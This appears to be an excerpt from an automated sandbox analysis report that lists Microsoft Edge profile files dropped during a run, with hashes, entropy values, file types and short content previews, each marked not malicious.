SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\203fd970-99b7-4589-9089-00e15eacece0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\957f684a-5874-43e7-9e3f-d17933f44c62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b1fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fe8d4d5f-9b1d-4e50-9232-659e31ff7ce8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.243969608562511
Encrypted:	false
SSDEEP:	12:gt+v4YebvqBZFUt87B3W/+7CV5LYebvqBaJ:b4Yebvyg8pwLYebvL
MD5:	F9FD6A7AD0F8831FBD317F4081CC517E
SHA1:	CB36815434210AEF08A33BD831726576D28B6E25
SHA-256:	78340BA161955573A840BF7DAE44EEC215D5B6CA7F391B10AC27D272DFB16128
SHA-512:	7B5B74A74551FCDF7773C5BBF1BC4884633683BF653CA596CD0A8DCE570D4A6DD420C581F1B624853FE93688427D6903A95CAA8866AA5BB9BCFB0DF5E17BFF4C
Malicious:	false
Preview:	2024/11/25-08:14:46.338 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-08:14:46.342 1c5c Recovering log #3.2024/11/25-08:14:46.353 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.243969608562511
Encrypted:	false
SSDEEP:	12:gt+v4YebvqBZFUt87B3W/+7CV5LYebvqBaJ:b4Yebvyg8pwLYebvL
MD5:	F9FD6A7AD0F8831FBD317F4081CC517E
SHA1:	CB36815434210AEF08A33BD831726576D28B6E25
SHA-256:	78340BA161955573A840BF7DAE44EEC215D5B6CA7F391B10AC27D272DFB16128
SHA-512:	7B5B74A74551FCDF7773C5BBF1BC4884633683BF653CA596CD0A8DCE570D4A6DD420C581F1B624853FE93688427D6903A95CAA8866AA5BB9BCFB0DF5E17BFF4C
Malicious:	false
Preview:	2024/11/25-08:14:46.338 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-08:14:46.342 1c5c Recovering log #3.2024/11/25-08:14:46.353 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.253253424114151
Encrypted:	false
SSDEEP:	6:HAkb2F+q2P923oH+TcwtpIFUt8YAkb2xZmw+YAkb0/NVkwO923oH+Tcwta/WLJ:gkb9v4YebmFUt87kbY/+7kb0r5LYebaQ
MD5:	F3D1EE9CACCF5932A8866B2DB2A89277
SHA1:	8FA0904B9FA059619F944054B67B4901FC7B63AD
SHA-256:	314853AB53E7891C966D487D6C9AA86D38BBD0532321BD8A69F7CB34CC0A4BA7
SHA-512:	4B036720DD871F4040420D556829575EB5D5E32AEA3CF3F46066B761D7B8C86EE4BF27FA5EAA734973328337364F4B5447C8947B968FD37C4AA87F7592360E78
Malicious:	false
Preview:	2024/11/25-08:14:27.577 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-08:14:27.577 1cb8 Recovering log #3.2024/11/25-08:14:27.579 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.253253424114151
Encrypted:	false
SSDEEP:	6:HAkb2F+q2P923oH+TcwtpIFUt8YAkb2xZmw+YAkb0/NVkwO923oH+Tcwta/WLJ:gkb9v4YebmFUt87kbY/+7kb0r5LYebaQ
MD5:	F3D1EE9CACCF5932A8866B2DB2A89277
SHA1:	8FA0904B9FA059619F944054B67B4901FC7B63AD
SHA-256:	314853AB53E7891C966D487D6C9AA86D38BBD0532321BD8A69F7CB34CC0A4BA7
SHA-512:	4B036720DD871F4040420D556829575EB5D5E32AEA3CF3F46066B761D7B8C86EE4BF27FA5EAA734973328337364F4B5447C8947B968FD37C4AA87F7592360E78
Malicious:	false
Preview:	2024/11/25-08:14:27.577 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-08:14:27.577 1cb8 Recovering log #3.2024/11/25-08:14:27.579 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649222685068673
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumO:Bq+n0J39ELyKOMq+8y9/Owl
MD5:	D7A0D0573CE6AED29D77D8230A1C7BC4
SHA1:	C9043CD318F81F4438A963E87D4F41D1C97FED64
SHA-256:	32A649B7C18E38FC62AA97414F1E95173FC74C1AA4FB227FFD1F7A39B7FBBC0B
SHA-512:	D2E4B088891EFEE85D8EF9BC6B9431FF9F82902EECD32822EF3F10A8E4CCF3B823CE52371429207FE885A6B36FEDC9985405F6A76BC6858B9B51351CD1FF6DA3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666431437783754
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Hy:v7doKsKuKZKlZNmu46yjx0S
MD5:	4856CECF2898E1335AA9D6039DF7A444
SHA1:	C760A5A9FE16AF73E72BCAD4A3AEB631E0156175
SHA-256:	F75825A205384FC91DDAA5C113B535514A0D9EAB4B9FA7790A1D93BAF9B18AE6
SHA-512:	C05B0682ABF34A92DC194AFBE745C29678ECCAF39100704B66EAA34482EA84FF01254E29AB177E7077FE0681A912DC3655D27CA5EF4BC98E9F38E0532AFC80D2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\afbd1ee4-b341-4b18-9b91-b78a6d9d93f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17392), with no line terminators
Category:	dropped
Size (bytes):	17394
Entropy (8bit):	5.4881675833774874
Encrypted:	false
SSDEEP:	384:stIPGQSu4EsXZp3fhxPs9AIF9m9H/HqebGNQwp6WwaTYJ:sOOXuwZp3fzbZbG+y8aTYJ
MD5:	7AA8A194C45466CC4E49D25FBF063F86
SHA1:	EC515E49519C4F2B6BBB4E3E4DD4A83315FE6065
SHA-256:	89D612FF1FE9F6887C07357A3F696FD6393324E0E881182A06C6DBB66610B891
SHA-512:	D23FCED02A4048ABFF921C2353D163F535EDC548F421BBB2E0022E20079A7743EA3B6D75A118D6840D0AEC48F5ADA3A81203EEF4D535B8EF969747692FC5A7FF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d97e877a-c819-4dc3-a399-8a45fadf91b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561318850740368
Encrypted:	false
SSDEEP:	768:D89+DD7pLGLPkCWP3zfCm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIt+tJQPrwz2EL4:D89+D1cPkCWP3zfCmu1jaxt+PQ8z2Eut
MD5:	D2D1078D8458C5369E21774296B37FC7
SHA1:	439148EC1ABC2D115504081F1A43547C212F9931
SHA-256:	63A783B657D23CEF2958CF8C8FEF8F73963A2A27CD6C4DB3CD1FD45E44DAAA0F
SHA-512:	C98E7DF2D1D5E799AEE3DD3D247DE65CB625F8008AD1137F499645D2B842521DC9A3229D4D6798147904500C58EA6CAFC287C0524448E888476587F87E5FA3DA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377014067422344","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377014067422344","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ec156612-2262-48e9-a812-dab3183c5dba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17557), with no line terminators
Category:	dropped
Size (bytes):	17559
Entropy (8bit):	5.484518488417989
Encrypted:	false
SSDEEP:	384:stIPGQSu4EsXZp3fhxPs9AIF9m9H/HqebGNQwp6WXlaTYJ:sOOXuwZp3fzbZbG+yxaTYJ
MD5:	FE3C62B8581A9F7FE0FFE7973E0EEB94
SHA1:	8278BB957CE4AFF82142D156E8FAB3EE1056FA9B
SHA-256:	5ACA45E42A02D1F25EC8FA70C1D02B8ACF3AA8F42C1885854E5BBC911E3FE85F
SHA-512:	6050C2AF12BAAE33BFC1C0E7EE1C88E103902F3D408BBD52CBC38810E8C46255D5A62A5DF3A942E34A63FB9DE1CF25E3DCCDA1DEB90F32918EDD26F300FACDCC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\faa1b744-cf2b-4314-ac18-062944eb659c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ff199f94-bca8-4d55-96bf-6a28a5762830.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17557), with no line terminators
Category:	dropped
Size (bytes):	17559
Entropy (8bit):	5.484664606823939
Encrypted:	false
SSDEEP:	384:stIPGQSu4EsXZp3fhxPs9AIF9m9H/HqebGNQwp6WAlaTYJ:sOOXuwZp3fzbZbG+y+aTYJ
MD5:	F66E0DBB780DB91F0E3DCD975B67F707
SHA1:	8C45BC8DAB6437C03492E89CAF61E28FA4A78FCE
SHA-256:	2AE18EE9C0A04BF02B5E76BE62BC6DE40FDE6B8B1B67817AF619E1AE5CF578EB
SHA-512:	42822799C0459EB2CBC7BB9132CD0023CFCFEA0C3ED3840888C854DA13E012AC79F23C080C479A988112CF71F6385B4C6FEE64D7C078FEB67C65AD01BAC1511B
Malicious:	false
